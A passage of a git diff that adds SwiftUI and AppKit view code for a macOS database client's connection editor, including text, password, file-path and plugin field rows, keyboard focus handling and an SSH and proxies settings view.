chooseIdentifier: "connection-form-file-browse", + newIdentifier: "connection-form-file-new" + ) + .disabled(store.isDisabled(.builtIn(.databaseFile))) + case .database: + EditorTextRow( + store.traits.containerEntityName, + text: store.binding(\.database), + prompt: String(format: String(localized: "%@_name"), store.traits.containerEntityName.lowercased()), + row: .builtIn(.database), + store: store + ) + case .credentialProfile: + GeneralCredentialsRows(store: store) + case .username: + EditorTextRow( + String(localized: "Username"), + text: store.binding(\.credentials.username), + row: .builtIn(.username), + store: store + ) + case .passwordSource: + GeneralPasswordSourceRows(store: store) + case .passwordMode: + GeneralPasswordModeRow(store: store) + case .password: + GeneralPasswordRow(store: store) + case .kerberosNote: + GeneralKerberosNote(store: store) + case .pgpassStatus: + GeneralPgpassStatus(status: store.pgpassStatus) + default: + EmptyView() + } + } + + private var databaseFilePrompt: String { + let ext = (store.traits.fileExtensions.first ?? "db").trimmingCharacters(in: CharacterSet(charactersIn: ". ")) + return "/path/to/database.\(ext.isEmpty ? "db" : ext)" + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorCodeEditor.swift b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorCodeEditor.swift new file mode 100644 index 0000000000..109e86e0d0 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorCodeEditor.swift @@ -0,0 +1,90 @@ +// +// EditorCodeEditor.swift +// TablePro +// + +import AppKit +import SwiftUI +import TableProTheme + +enum EditorCodeLanguage { + case sql + case shell + case plain + case json +} + +// A multi-line editor that is a Section of its own: the header names it. It grows with its lines from minHeight, and +// Tab leaves it as in any form field. Escape in it never cancels the window: the window controller ends the edit. +struct EditorCodeEditor: View { + @Binding private var text: String + private let language: EditorCodeLanguage + private let row: EditorRow + @ObservedObject private var store: ConnectionEditorStore + private let minHeight: CGFloat + + private static let maxHeight: CGFloat = 320 + private static let wellShape = RoundedRectangle(cornerRadius: 6) + + init( + text: Binding, + language: EditorCodeLanguage, + row: EditorRow, + store: ConnectionEditorStore, + minHeight: CGFloat = 96 + ) { + _text = text + self.language = language + self.row = row + self.store = store + self.minHeight = minHeight + } + + var body: some View { + VStack(alignment: .leading, spacing: 6) { + editor + .frame(height: height) + .editorRowFocus(row, store: store) + + EditorRowIssueNotice(row: row, store: store) + } + } + + // The card is the only frame: the text sits on it, and code wears the editor's background only while the theme + // sets one, as CodeWell does. + @ViewBuilder + private var editor: some View { + let field = TextValueEditor( + text: store.tracking($text, row: row), + font: font, + borderType: .noBorder, + movesFocusOnTab: true, + style: language == .plain ? .plain : .code, + drawsBackground: false + ) + .accessibilityIdentifier(row.accessibilityIdentifier) + if language == .plain { + field + } else { + field.themeBackground(.editorBackground, native: Color.clear, in: Self.wellShape) + } + } + + private var font: NSFont { + let size = NSFont.systemFontSize + return language == .plain + ? .systemFont(ofSize: size) + : .monospacedSystemFont(ofSize: size, weight: .regular) + } + + // Hard line breaks only: a wrapped long line scrolls inside the editor rather than growing it. + private var height: CGFloat { + let lines = CGFloat(text.reduce(into: 1) { count, character in + if character.isNewline { count += 1 } + }) + let lineHeight = NSLayoutManager().defaultLineHeight(for: font) + let chrome: CGFloat = 16 + let content = lines * lineHeight + chrome + return min(max(content, minHeight), max(minHeight, Self.maxHeight)) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorOptionalNumberRow.swift b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorOptionalNumberRow.swift new file mode 100644 index 0000000000..d41f719fea --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorOptionalNumberRow.swift @@ -0,0 +1,133 @@ +// +// EditorOptionalNumberRow.swift +// TablePro +// + +import SwiftUI + +// An Int? setting: an empty field means the default, which the prompt shows. Every whole number reaches the draft as +// it is typed, so the engine's range issue shows under the label and Save never misses the last keystroke. +struct EditorOptionalNumberRow: View { + private let title: String + @Binding private var value: Int? + private let defaultValue: Int? + private let range: ClosedRange + private let unit: String? + private let row: EditorRow + @ObservedObject private var store: ConnectionEditorStore + private let subtitle: String? + private let prompt: String? + + @State private var text: String + @FocusState private var isFocused: Bool + + init( + _ title: String, + value: Binding, + defaultValue: Int?, + range: ClosedRange, + unit: String?, + row: EditorRow, + store: ConnectionEditorStore, + subtitle: String? = nil, + prompt: String? = nil + ) { + self.title = title + _value = value + self.defaultValue = defaultValue + self.range = range + self.unit = unit + self.row = row + self.store = store + self.subtitle = subtitle + self.prompt = prompt + _text = State(initialValue: Self.text(for: value.wrappedValue)) + } + + var body: some View { + LabeledContent { + HStack(alignment: .firstTextBaseline, spacing: 6) { + TextField(text: store.tracking($text, row: row), prompt: promptText.map { Text(verbatim: $0) }) { + Text(verbatim: title) + } + .labelsHidden() + .textFieldStyle(.roundedBorder) + .multilineTextAlignment(.trailing) + .frame(width: 104) + .focused($isFocused) + .accessibilityIdentifier(row.accessibilityIdentifier) + .onSubmit(settle) + + if let unit { + Text(verbatim: unit) + .foregroundStyle(.secondary) + } + } + } label: { + if let localError { + Text(verbatim: title) + NoticeLabel(localError, severity: .error) + } else { + EditorRowLabel(title, row: row, store: store, subtitle: subtitle) + } + } + .editorRowFocus(row, store: store, isFocused: $isFocused) + .onChange(of: text) { newText in + write(newText) + } + .onChange(of: value) { newValue in + guard !isFocused, Self.parse(text) != .some(newValue) else { return } + text = Self.text(for: newValue) + } + .onChange(of: isFocused) { focused in + if !focused { settle() } + } + } + + private var promptText: String? { + prompt ?? defaultValue.map { SettingsFormat.identifier($0) } + } + + // Only text that is not a whole number stays local; the engine owns the range message when it has one. + private var localError: String? { + let trimmed = text.trimmingCharacters(in: .whitespaces) + guard !trimmed.isEmpty else { return nil } + guard let number = SettingsIntegerInput.parse(trimmed) else { + return String(localized: "Enter a whole number.") + } + guard !range.contains(number), store.issue(for: row) == nil else { return nil } + return String( + format: String(localized: "Enter a number from %@ to %@."), + SettingsFormat.identifier(range.lowerBound), + SettingsFormat.identifier(range.upperBound) + ) + } + + private func write(_ newText: String) { + switch Self.parse(newText) { + case .some(let parsed): + if parsed != value { value = parsed } + case .none: + break + } + } + + // Text that never parsed goes back to the stored value when the field is left. + private func settle() { + if Self.parse(text) == nil { + text = Self.text(for: value) + } + } + + // nil: not a number; .some(nil): empty, the default. + private static func parse(_ text: String) -> Int?? { + let trimmed = text.trimmingCharacters(in: .whitespaces) + if trimmed.isEmpty { return .some(nil) } + guard let number = SettingsIntegerInput.parse(trimmed) else { return nil } + return .some(number) + } + + private static func text(for value: Int?) -> String { + value.map { SettingsFormat.identifier($0) } ?? "" + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorPathRow.swift b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorPathRow.swift new file mode 100644 index 0000000000..d1c6f5d587 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorPathRow.swift @@ -0,0 +1,203 @@ +// +// EditorPathRow.swift +// TablePro +// + +import AppKit +import SwiftUI +import UniformTypeIdentifiers + +struct EditorPathRow: View { + private let title: String + @Binding private var path: String + private let prompt: String? + private let row: EditorRow + @ObservedObject private var store: ConnectionEditorStore + private let buttonTitle: String + private let choose: @MainActor () async -> String? + + @FocusState private var isFocused: Bool + + init( + _ title: String, + path: Binding, + prompt: String? = nil, + row: EditorRow, + store: ConnectionEditorStore, + buttonTitle: String = String(localized: "Choose…"), + choose: @escaping @MainActor () async -> String? + ) { + self.title = title + _path = path + self.prompt = prompt + self.row = row + self.store = store + self.buttonTitle = buttonTitle + self.choose = choose + } + + var body: some View { + LabeledContent { + HStack(spacing: 8) { + TextField(text: store.tracking($path, row: row), prompt: Text(verbatim: EditorFieldPrompt.text(prompt, row: row, store: store))) { + Text(verbatim: title) + } + .labelsHidden() + .autocorrectionDisabled() + .editorPathField(path) + .focused($isFocused) + .accessibilityIdentifier(row.accessibilityIdentifier) + + Button(buttonTitle) { + Task { + if let chosen = await choose() { pick(chosen) } + } + } + .accessibilityIdentifier("\(row.accessibilityIdentifier)-choose") + } + } label: { + EditorRowLabel(title, row: row, store: store) + } + .editorRowFocus(row, store: store, isFocused: $isFocused) + } + + private func pick(_ chosen: String) { + store.noteEdited(row) + path = chosen + } +} + +// A database file path with Choose… for a file that exists and New… for one the driver creates at connect. +struct EditorDatabaseFileRow: View { + private let title: String + @Binding private var path: String + private let prompt: String? + private let row: EditorRow + @ObservedObject private var store: ConnectionEditorStore + private let chooseIdentifier: String + private let newIdentifier: String + + @FocusState private var isFocused: Bool + + init( + _ title: String, + path: Binding, + prompt: String?, + row: EditorRow, + store: ConnectionEditorStore, + chooseIdentifier: String, + newIdentifier: String + ) { + self.title = title + _path = path + self.prompt = prompt + self.row = row + self.store = store + self.chooseIdentifier = chooseIdentifier + self.newIdentifier = newIdentifier + } + + private var newFileExtensions: [String] { store.traits.newDatabaseFileExtensions } + + var body: some View { + LabeledContent { + HStack(spacing: 8) { + TextField(text: store.tracking($path, row: row), prompt: Text(verbatim: EditorFieldPrompt.text(prompt, row: row, store: store))) { + Text(verbatim: title) + } + .labelsHidden() + .autocorrectionDisabled() + .editorPathField(path) + .focused($isFocused) + .accessibilityIdentifier(row.accessibilityIdentifier) + + Button(String(localized: "Choose…")) { + Task { await chooseExisting() } + } + .help(String(localized: "Choose an existing database file")) + .accessibilityIdentifier(chooseIdentifier) + + if !newFileExtensions.isEmpty { + Button(String(localized: "New…")) { + Task { await nameNew() } + } + .help(String(localized: "Name a new database file, created when you connect")) + .accessibilityIdentifier(newIdentifier) + } + } + } label: { + EditorRowLabel(title, row: row, store: store) + } + .editorRowFocus(row, store: store, isFocused: $isFocused) + } + + private func pick(_ chosen: String) { + store.noteEdited(row) + path = chosen + } + + private func chooseExisting() async { + let chosen = await DatabaseFilePanel.chooseExisting( + for: store.draft.type, + currentPath: path, + in: EditorFilePanel.window(for: store) + ) + if let chosen { pick(chosen) } + } + + private func nameNew() async { + let chosen = await DatabaseFilePanel.nameNew( + extensions: newFileExtensions, + currentPath: path, + in: EditorFilePanel.window(for: store) + ) + if let chosen { pick(chosen) } + } +} + +extension View { + // A long path keeps its file name in sight: the middle gives way, the tooltip has it whole, and the ideal width + // keeps the row on one line where the path's own width would stack the label above it. + func editorPathField(_ path: String) -> some View { + truncationMode(.middle) + .frame(minWidth: 0, idealWidth: 200, maxWidth: .infinity) + .help(path) + } +} + +// Open and save panels for the editor's path rows. +@MainActor +enum EditorFilePanel { + static func window(for store: ConnectionEditorStore) -> NSWindow? { + store.window ?? NSApp.keyWindow + } + + // A sheet on the window it serves, also when the panel is wider than the editor, as open and save panels are on macOS. + static func present(_ panel: NSSavePanel, in window: NSWindow?) async -> NSApplication.ModalResponse { + guard let window else { return await panel.begin() } + return await panel.presentAsSheet(for: window) + } + + static func chooseFile( + in window: NSWindow?, + message: String? = nil, + contentTypes: [UTType] = [.data], + showsHiddenFiles: Bool = false, + currentPath: String = "" + ) async -> String? { + let panel = NSOpenPanel() + panel.allowsMultipleSelection = false + panel.canChooseDirectories = false + panel.canChooseFiles = true + panel.allowedContentTypes = contentTypes + panel.showsHiddenFiles = showsHiddenFiles + if let message { panel.message = message } + let trimmed = currentPath.trimmingCharacters(in: .whitespacesAndNewlines) + if !trimmed.isEmpty { + let expanded = (trimmed as NSString).expandingTildeInPath + panel.directoryURL = URL(fileURLWithPath: expanded).deletingLastPathComponent() + } + guard await present(panel, in: window) == .OK, let url = panel.url else { return nil } + return url.path(percentEncoded: false) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorRowFocus.swift b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorRowFocus.swift new file mode 100644 index 0000000000..7daeb22c68 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorRowFocus.swift @@ -0,0 +1,198 @@ +// +// EditorRowFocus.swift +// TablePro +// + +import AppKit +import SwiftUI + +extension View { + // A row whose SwiftUI field carries `.focused(isFocused)`. + func editorRowFocus( + _ rows: EditorRow..., + store: ConnectionEditorStore, + isFocused: FocusState.Binding + ) -> some View { + modifier(EditorFocusRequestModifier(rows: rows, store: store) { isFocused.wrappedValue = true }) + } + + // Any other row: a picker, a toggle, a code editor, an AppKit control or a composite row. It scrolls into view and + // its first control that takes focus does, where Keyboard Navigation lets a pop-up or a toggle take it. + func editorRowFocus(_ row: EditorRow, store: ConnectionEditorStore) -> some View { + modifier(EditorRowAnchorFocusModifier(row: row, store: store)) + } + + // A row that picks which of its fields takes the focus. + func onEditorFocusRequest(_ row: EditorRow, store: ConnectionEditorStore, perform: @escaping @MainActor () -> Void) -> some View { + modifier(EditorFocusRequestModifier(rows: [row], store: store, perform: perform)) + } + + // On a facet's Form, whose rows carry `.id(row)`: a Form builds the rows it shows, so the requested one is + // scrolled to first and takes the focus once it is built. + func scrollsToEditorFocus(_ facet: ConnectionFacet, store: ConnectionEditorStore) -> some View { + modifier(EditorFacetScrollModifier(facet: facet, store: store)) + } +} + +private struct EditorFacetScrollModifier: ViewModifier { + let facet: ConnectionFacet + @ObservedObject var store: ConnectionEditorStore + + @State private var handledToken: UUID? + + func body(content: Content) -> some View { + ScrollViewReader { proxy in + content + .onAppear { scroll(proxy, to: store.focusRequest) } + .onChange(of: store.focusRequest) { scroll(proxy, to: $0) } + } + } + + // Deferred a turn, as the focus is: a facet built for this request is not laid out yet when it lands. + private func scroll(_ proxy: ScrollViewProxy, to request: FocusRequest?) { + guard let request, request.facet == facet, request.token != handledToken else { return } + handledToken = request.token + DispatchQueue.main.async { + proxy.scrollTo(request.row) + } + } +} + +private struct EditorFocusRequestModifier: ViewModifier { + let rows: [EditorRow] + @ObservedObject var store: ConnectionEditorStore + let perform: @MainActor () -> Void + + @State private var handledToken: UUID? + + func body(content: Content) -> some View { + content + .onAppear { apply(store.focusRequest) } + .onChange(of: store.focusRequest) { apply($0) } + } + + // Deferred a turn: a facet built for this request is not in the window yet when it lands. + private func apply(_ request: FocusRequest?) { + guard let request, rows.contains(request.row), request.token != handledToken else { return } + handledToken = request.token + DispatchQueue.main.async { + perform() + store.didApplyFocus(request) + // SwiftUI moves the focus on its next update and never scrolls to it, so a field below the fold of a row + // already on screen would take the keyboard out of sight. + DispatchQueue.main.async { + EditorRowFocusTarget.revealFirstResponder(in: store.window) + } + } + } +} + +private struct EditorRowAnchorFocusModifier: ViewModifier { + let row: EditorRow + let store: ConnectionEditorStore + + @State private var target = EditorRowFocusTarget() + + func body(content: Content) -> some View { + content + .background(EditorRowFocusAnchor(target: target)) + .onEditorFocusRequest(row, store: store) { target.focus() } + } +} + +// SwiftUI cannot focus a field inside an AppKit control or a composite row, so the row's own frame finds it. +@MainActor +final class EditorRowFocusTarget { + weak var anchor: NSView? + private var pendingFocus = false + + func focus() { + guard let anchor, let window = anchor.window else { + pendingFocus = true + return + } + pendingFocus = false + anchor.scrollToVisible(anchor.bounds) + if let control = Self.firstFocusableView(inside: anchor, of: window) { + window.makeFirstResponder(control) + } + } + + func anchorDidMoveToWindow() { + guard pendingFocus else { return } + DispatchQueue.main.async { [weak self] in self?.focus() } + } + + static func revealFirstResponder(in window: NSWindow?) { + guard let responder = window?.firstResponder as? NSView else { return } + let shown: NSView + if let textView = responder as? NSTextView { + if textView.isFieldEditor, let field = textView.delegate as? NSView { + shown = field + } else { + // A code editor scrolls inside itself; its frame is what the form scrolls to. + shown = textView.enclosingScrollView ?? textView + } + } else { + shown = responder + } + shown.scrollToVisible(shown.bounds) + } + + // Text input first, in reading order; a control only when the row has no text input. + static func firstFocusableView(inside anchor: NSView, of window: NSWindow) -> NSView? { + guard let root = window.contentView else { return nil } + let area = anchor.convert(anchor.bounds, to: nil).insetBy(dx: -2, dy: -2) + var candidates: [(view: NSView, rect: NSRect, isText: Bool)] = [] + var stack: [NSView] = [root] + while let view = stack.popLast() { + stack.append(contentsOf: view.subviews) + guard !view.isHiddenOrHasHiddenAncestor, view !== anchor, view.acceptsFirstResponder else { continue } + if let textView = view as? NSTextView, textView.isFieldEditor { continue } + let frameView = (view as? NSTextView)?.enclosingScrollView ?? view + let rect = frameView.convert(frameView.bounds, to: nil) + guard rect.width > 0, rect.height > 0, area.contains(NSPoint(x: rect.midX, y: rect.midY)) else { continue } + let isText = view is NSTextView || (view as? NSTextField)?.isEditable == true + guard isText || view.canBecomeKeyView else { continue } + candidates.append((view, rect, isText)) + } + let ordered = candidates.sorted { lhs, rhs in + if lhs.isText != rhs.isText { return lhs.isText } + if abs(lhs.rect.maxY - rhs.rect.maxY) > 1 { return lhs.rect.maxY > rhs.rect.maxY } + return lhs.rect.minX < rhs.rect.minX + } + return ordered.first?.view + } +} + +private struct EditorRowFocusAnchor: NSViewRepresentable { + let target: EditorRowFocusTarget + + func makeNSView(context: Context) -> EditorRowFocusAnchorView { + let view = EditorRowFocusAnchorView() + view.target = target + target.anchor = view + return view + } + + func updateNSView(_ view: EditorRowFocusAnchorView, context: Context) { + view.target = target + target.anchor = view + } +} + +final class EditorRowFocusAnchorView: NSView { + weak var target: EditorRowFocusTarget? + + override func viewDidMoveToWindow() { + super.viewDidMoveToWindow() + if window != nil { + target?.anchorDidMoveToWindow() + } + } + + // A background, never a target for clicks or VoiceOver. + override func hitTest(_ point: NSPoint) -> NSView? { nil } + + override func isAccessibilityElement() -> Bool { false } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorRowLabel.swift b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorRowLabel.swift new file mode 100644 index 0000000000..fd00dfedea --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorRowLabel.swift @@ -0,0 +1,48 @@ +// +// EditorRowLabel.swift +// TablePro +// + +import SwiftUI + +// A row's title, with its issue as the subtitle once the store reveals it. +struct EditorRowLabel: View { + private let title: String + private let row: EditorRow + @ObservedObject private var store: ConnectionEditorStore + private let subtitle: String? + + init(_ title: String, row: EditorRow, store: ConnectionEditorStore, subtitle: String? = nil) { + self.title = title + self.row = row + self.store = store + self.subtitle = subtitle + } + + var body: some View { + Text(verbatim: title) + if let issue = store.revealedIssue(for: row) { + NoticeLabel(issue.message, severity: issue.noticeSeverity) + } else if let subtitle { + Text(verbatim: subtitle) + } + } +} + +// For a row whose control is the whole row (a list, a code editor), so its issue sits under the control. +struct EditorRowIssueNotice: View { + let row: EditorRow + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + if let issue = store.revealedIssue(for: row) { + NoticeLabel(issue.message, severity: issue.noticeSeverity) + } + } +} + +extension FieldIssue { + var noticeSeverity: NoticeSeverity { + severity == .error ? .error : .warning + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorTextRow.swift b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorTextRow.swift new file mode 100644 index 0000000000..32bb7bd552 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorTextRow.swift @@ -0,0 +1,171 @@ +// +// EditorTextRow.swift +// TablePro +// + +import SwiftUI + +struct EditorTextRow: View { + private let title: String + @Binding private var text: String + private let prompt: String? + private let row: EditorRow + @ObservedObject private var store: ConnectionEditorStore + + @FocusState private var isFocused: Bool + + init(_ title: String, text: Binding, prompt: String? = nil, row: EditorRow, store: ConnectionEditorStore) { + self.title = title + _text = text + self.prompt = prompt + self.row = row + self.store = store + } + + var body: some View { + TextField(text: store.tracking($text, row: row), prompt: Text(verbatim: EditorFieldPrompt.text(prompt, row: row, store: store))) { + EditorRowLabel(title, row: row, store: store) + } + .autocorrectionDisabled() + .focused($isFocused) + .accessibilityIdentifier(row.accessibilityIdentifier) + .editorRowFocus(row, store: store, isFocused: $isFocused) + } +} + +struct EditorSecureRow: View { + private let title: String + @Binding private var text: String + private let prompt: String? + private let row: EditorRow + @ObservedObject private var store: ConnectionEditorStore + + @FocusState private var isFocused: Bool + + init(_ title: String, text: Binding, prompt: String? = nil, row: EditorRow, store: ConnectionEditorStore) { + self.title = title + _text = text + self.prompt = prompt + self.row = row + self.store = store + } + + var body: some View { + SecureField(text: store.tracking($text, row: row), prompt: Text(verbatim: EditorFieldPrompt.text(prompt, row: row, store: store))) { + EditorRowLabel(title, row: row, store: store) + } + .focused($isFocused) + .accessibilityIdentifier(row.accessibilityIdentifier) + .editorRowFocus(row, store: store, isFocused: $isFocused) + } +} + +enum EditorSecretKind { + case password + case passphrase + case secret + + var showTitle: String { + switch self { + case .password: String(localized: "Show password") + case .passphrase: String(localized: "Show passphrase") + case .secret: String(localized: "Show secret") + } + } + + var hideTitle: String { + switch self { + case .password: String(localized: "Hide password") + case .passphrase: String(localized: "Hide passphrase") + case .secret: String(localized: "Hide secret") + } + } +} + +// NSSecureTextField has no reveal of its own, so the eye button swaps in a plain field. +struct EditorRevealableSecureRow: View { + private let title: String + @Binding private var text: String + private let kind: EditorSecretKind + private let requiresAuthentication: Bool + private let prompt: String? + private let subtitle: String? + private let row: EditorRow + @ObservedObject private var store: ConnectionEditorStore + + @StateObject private var reveal = SecretReveal() + @FocusState private var isFocused: Bool + + init( + _ title: String, + text: Binding, + kind: EditorSecretKind, + requiresAuthentication: Bool, + prompt: String? = nil, + subtitle: String? = nil, + row: EditorRow, + store: ConnectionEditorStore + ) { + self.title = title + _text = text + self.kind = kind + self.requiresAuthentication = requiresAuthentication + self.prompt = prompt + self.subtitle = subtitle + self.row = row + self.store = store + } + + var body: some View { + LabeledContent { + HStack(spacing: 8) { + field + .labelsHidden() + .frame(minWidth: 0, idealWidth: 200, maxWidth: .infinity) + .focused($isFocused) + .accessibilityIdentifier(row.accessibilityIdentifier) + + Button { + Task { await reveal.setRevealed(!reveal.isRevealed, requiresAuthentication: requiresAuthentication) } + } label: { + Image(systemName: reveal.isRevealed ? "eye.slash" : "eye") + } + .buttonStyle(.borderless) + .help(revealTitle) + .accessibilityLabel(revealTitle) + .accessibilityIdentifier("\(row.accessibilityIdentifier)-reveal") + } + } label: { + EditorRowLabel(title, row: row, store: store, subtitle: subtitle) + } + .editorRowFocus(row, store: store, isFocused: $isFocused) + } + + private var revealTitle: String { + reveal.isRevealed ? kind.hideTitle : kind.showTitle + } + + @ViewBuilder + private var field: some View { + let tracked = store.tracking($text, row: row) + let prompt = Text(verbatim: EditorFieldPrompt.text(prompt, row: row, store: store)) + if reveal.isRevealed { + TextField(text: tracked, prompt: prompt) { Text(verbatim: title) } + .autocorrectionDisabled() + } else { + SecureField(text: tracked, prompt: prompt) { Text(verbatim: title) } + } + } +} + +// A borderless field with nothing in it is invisible, so every field shows a prompt: the facet's example when it has +// one, else whether the field must be filled in. A required field that is empty carries an issue on its row. +@MainActor +enum EditorFieldPrompt { + static func text(_ example: String?, row: EditorRow, store: ConnectionEditorStore) -> String { + if let example, !example.isEmpty { return example } + return store.issues(for: row).contains { $0.severity == .error } + ? String(localized: "Required") + : String(localized: "Optional") + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/Rows/PluginFieldRow.swift b/apple/TablePro/Views/ConnectionForm/Facets/Rows/PluginFieldRow.swift new file mode 100644 index 0000000000..b8972cd171 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/Rows/PluginFieldRow.swift @@ -0,0 +1,166 @@ +// +// PluginFieldRow.swift +// TablePro +// + +import SwiftUI +import TableProPluginKit + +// One plugin-declared field, in the control its kind asks for. The engine has already decided that it shows. +struct PluginFieldRow: View { + private let fieldID: String + @ObservedObject private var store: ConnectionEditorStore + private let title: String? + + // `title` replaces the plugin's label where the facet shows it under a header that already says it. + init(fieldID: String, store: ConnectionEditorStore, title: String? = nil) { + self.fieldID = fieldID + self.store = store + self.title = title + } + + private var row: EditorRow { .plugin(fieldID: fieldID) } + + var body: some View { + if let field = store.pluginField(fieldID), let kind = store.pluginFieldKind(fieldID) { + control(field, kind) + } + } + + @ViewBuilder + private func control(_ field: ConnectionField, _ kind: PluginFieldKind) -> some View { + let value = store.pluginFieldBinding(fieldID) + let name = title ?? field.label + let prompt = field.placeholder.isEmpty ? nil : field.placeholder + switch kind { + case .text: + EditorTextRow(name, text: value, prompt: prompt, row: row, store: store) + case .secure: + EditorSecureRow(name, text: value, prompt: prompt, row: row, store: store) + case .number: + EditorTextRow(name, text: wholeNumberBinding(value), prompt: prompt, row: row, store: store) + case .dropdown(let options): + Picker(selection: trackingEdits(value)) { + ForEach(options, id: \.value) { option in + Text(verbatim: option.label).tag(option.value) + } + } label: { + label(field) + } + .accessibilityIdentifier(row.accessibilityIdentifier) + .editorRowFocus(row, store: store) + case .toggle: + Toggle(isOn: toggleBinding(value)) { + label(field) + } + .accessibilityIdentifier(row.accessibilityIdentifier) + .editorRowFocus(row, store: store) + case .stepper(let range): + LabeledContent { + ConnectionStepperField( + label: name, + range: ConnectionField.IntRange(range), + defaultValue: field.defaultValue, + value: trackingEdits(value) + ) + .labelsHidden() + .accessibilityIdentifier(row.accessibilityIdentifier) + } label: { + label(field) + } + .editorRowFocus(row, store: store) + case .hostList: + LabeledContent { + HostListFieldRow( + label: name, + placeholder: field.placeholder, + defaultPort: store.traits.defaultPort, + value: trackingEdits(value) + ) + .labelsHidden() + .accessibilityElement(children: .contain) + .accessibilityIdentifier(row.accessibilityIdentifier) + } label: { + label(field) + } + .editorRowFocus(row, store: store) + case .attachedDatabases: + AdvancedAttachedDatabaseRows(fieldID: fieldID, store: store) + case .loadableExtensions: + AdvancedExtensionRows(fieldID: fieldID, store: store) + case .localDatabaseFile: + EditorDatabaseFileRow( + name, + path: value, + prompt: prompt, + row: row, + store: store, + chooseIdentifier: "\(row.accessibilityIdentifier)-choose", + newIdentifier: "\(row.accessibilityIdentifier)-new" + ) + case .filePath: + EditorPathRow(name, path: value, prompt: prompt, row: row, store: store) { + await EditorFilePanel.chooseFile(in: EditorFilePanel.window(for: store), currentPath: value.wrappedValue) + } + case .awsProfile: + LabeledContent { + SuggestionComboBox( + suggestions: Self.awsProfiles, + placeholder: EditorFieldPrompt.text(prompt, row: row, store: store), + accessibilityLabel: name, + accessibilityIdentifier: row.accessibilityIdentifier, + value: trackingEdits(value) + ) + } label: { + label(field) + } + .editorRowFocus(row, store: store) + } + } + + private func label(_ field: ConnectionField) -> EditorRowLabel { + EditorRowLabel(title ?? field.label, row: row, store: store) + } + + private func trackingEdits(_ binding: Binding) -> Binding { + Binding( + get: { binding.wrappedValue }, + set: { newValue in + guard newValue != binding.wrappedValue else { return } + store.noteEdited(row) + binding.wrappedValue = newValue + } + ) + } + + private func toggleBinding(_ binding: Binding) -> Binding { + Binding( + get: { binding.wrappedValue == "true" }, + set: { newValue in + store.noteEdited(row) + binding.wrappedValue = newValue ? "true" : "false" + } + ) + } + + // The raw text lands first so a rejected keystroke still changes the value and the field redraws without it. + private func wholeNumberBinding(_ binding: Binding) -> Binding { + Binding( + get: { binding.wrappedValue }, + set: { newValue in + binding.wrappedValue = newValue + let sanitized = ConnectionField.IntRange.wholeNumbers.fieldText(sanitizing: newValue) + if sanitized != newValue { + binding.wrappedValue = sanitized + } + } + ) + } + + private static func awsProfiles() -> [String] { + AWSConfigFile.discoverProfiles( + configContents: AWSConfigFile.readFile(AWSConfigFile.defaultConfigPath), + credentialsContents: AWSConfigFile.readFile(AWSConfigFile.defaultCredentialsPath) + ) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesFacetView.swift new file mode 100644 index 0000000000..3b2e0a775b --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesFacetView.swift @@ -0,0 +1,319 @@ +// +// SSHAndProxiesFacetView.swift +// TablePro +// + +import SwiftUI +import TableProSSHConfig +import TableProSSHTransport + +struct SSHAndProxiesFacetView: View { + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + Form { + if let facet = store.layout.facet(.sshAndProxies) { + ForEach(facet.sections) { section in + SSHAndProxiesSectionView(section: section, store: store) + } + } + } + .formStyle(.grouped) + .scrollsToEditorFocus(.sshAndProxies, store: store) + } +} + +private struct SSHAndProxiesSectionView: View { + let section: SectionLayout + @ObservedObject var store: ConnectionEditorStore + + // A code editor is a Section of its own, so a JSON key never sits between two toggles. + private static let standaloneRows: Set = [.builtIn(.cloudSQLServiceAccountKey)] + + private var standaloneRow: EditorRow? { + guard section.rows.count > 1 else { return nil } + return section.rows.first { Self.standaloneRows.contains($0) } + } + + private var inlineRows: [EditorRow] { + guard let standaloneRow else { return section.rows } + return section.rows.filter { $0 != standaloneRow } + } + + private var isHidden: Bool { + section.id == "tunnelPreview" && store.tunnelCommandPreview == nil + } + + var body: some View { + if section.id == "sshJumpHosts" { + SSHAndProxiesJumpHostSections(rows: section.rows, store: store) + } else if !isHidden { + Section { + ForEach(inlineRows, id: \.self) { row in + SSHAndProxiesRowView(row: row, store: store) + .id(row) + } + } header: { + if let headerTitle { + Text(headerTitle) + } + } footer: { + if let footer { + Text(footer) + } + } + if let standaloneRow { + Section { + SSHAndProxiesRowView(row: standaloneRow, store: store) + .id(standaloneRow) + } header: { + Text(String(localized: "Service Account Key")) + } footer: { + Text(String(localized: "Stored in the macOS Keychain and written to a temporary file only while the proxy runs.")) + } + } + } + } + + // The profile and tunnel method pickers already name their section. + private var headerTitle: String? { + switch section.id { + case "sshProfile", "tunnelMethod": return nil + default: return section.title + } + } + + private var footer: String? { + let draft = store.draft + if section.id == "transport", store.transportIsLocationChoice, draft.transport == nil { + return String(localized: """ + Opens the database file set in General, on this Mac. \ + For a file on another computer, choose Remote Server over SSH. + """) + } + if let footer = section.footer { return footer } + switch section.id { + case "remoteFile": + var lines = [String(localized: "Absolute, or relative to the SSH account's home directory.")] + if store.traits.supportsRemoteDatabaseSession, draft.ssh.remoteFileAccess 